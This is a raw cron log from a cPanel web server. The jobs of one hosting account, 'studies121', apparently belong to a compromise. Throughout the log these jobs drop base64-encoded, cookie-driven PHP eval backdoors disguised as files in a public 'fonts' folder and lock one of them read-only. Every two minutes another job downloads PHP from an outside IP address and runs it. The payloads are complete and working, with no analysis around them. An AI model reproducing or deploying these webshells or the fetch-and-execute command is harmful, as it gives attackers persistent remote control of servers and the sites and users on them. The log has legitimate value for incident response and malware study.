Sep  9 21:43:01 ip-184-168-122-23 CROND[18083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:43:01 ip-184-168-122-23 CROND[18082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:43:01 ip-184-168-122-23 CROND[18085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:44:01 ip-184-168-122-23 CROND[18162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:44:01 ip-184-168-122-23 CROND[18164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:44:01 ip-184-168-122-23 CROND[18166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:44:01 ip-184-168-122-23 CROND[18167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:44:01 ip-184-168-122-23 CROND[18165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:45:01 ip-184-168-122-23 CROND[18251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:45:01 ip-184-168-122-23 CROND[18253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:45:01 ip-184-168-122-23 CROND[18256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:45:01 ip-184-168-122-23 CROND[18254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:45:01 ip-184-168-122-23 CROND[18255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:45:01 ip-184-168-122-23 CROND[18257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:46:01 ip-184-168-122-23 CROND[18439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:46:01 ip-184-168-122-23 CROND[18442]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:46:01 ip-184-168-122-23 CROND[18444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:46:01 ip-184-168-122-23 CROND[18447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:46:01 ip-184-168-122-23 CROND[18448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:46:01 ip-184-168-122-23 CROND[18449]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 21:46:01 ip-184-168-122-23 CROND[18450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:47:01 ip-184-168-122-23 CROND[18544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:47:01 ip-184-168-122-23 CROND[18547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:47:01 ip-184-168-122-23 CROND[18546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:47:01 ip-184-168-122-23 CROND[18548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:48:01 ip-184-168-122-23 CROND[18652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:48:01 ip-184-168-122-23 CROND[18656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:48:01 ip-184-168-122-23 CROND[18655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:48:01 ip-184-168-122-23 CROND[18654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:48:01 ip-184-168-122-23 CROND[18657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:49:01 ip-184-168-122-23 CROND[18765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:49:01 ip-184-168-122-23 CROND[18767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:49:01 ip-184-168-122-23 CROND[18768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:49:01 ip-184-168-122-23 CROND[18770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:50:01 ip-184-168-122-23 CROND[18867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:50:02 ip-184-168-122-23 CROND[18869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:50:02 ip-184-168-122-23 CROND[18870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:50:02 ip-184-168-122-23 CROND[18871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:50:02 ip-184-168-122-23 CROND[18876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:50:02 ip-184-168-122-23 CROND[18875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:50:02 ip-184-168-122-23 CROND[18874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:50:02 ip-184-168-122-23 CROND[18878]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:50:02 ip-184-168-122-23 CROND[18879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:51:01 ip-184-168-122-23 CROND[18968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:51:01 ip-184-168-122-23 CROND[18967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:51:01 ip-184-168-122-23 CROND[18969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:51:01 ip-184-168-122-23 CROND[18970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:52:01 ip-184-168-122-23 CROND[19136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:52:01 ip-184-168-122-23 CROND[19137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:52:01 ip-184-168-122-23 CROND[19140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:52:01 ip-184-168-122-23 CROND[19142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:52:01 ip-184-168-122-23 CROND[19141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:53:01 ip-184-168-122-23 CROND[19223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:53:01 ip-184-168-122-23 CROND[19224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:53:01 ip-184-168-122-23 CROND[19225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:53:01 ip-184-168-122-23 CROND[19227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:54:01 ip-184-168-122-23 CROND[19314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:54:01 ip-184-168-122-23 CROND[19317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:54:01 ip-184-168-122-23 CROND[19318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:54:01 ip-184-168-122-23 CROND[19316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:54:01 ip-184-168-122-23 CROND[19319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:55:01 ip-184-168-122-23 CROND[19408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:55:01 ip-184-168-122-23 CROND[19410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
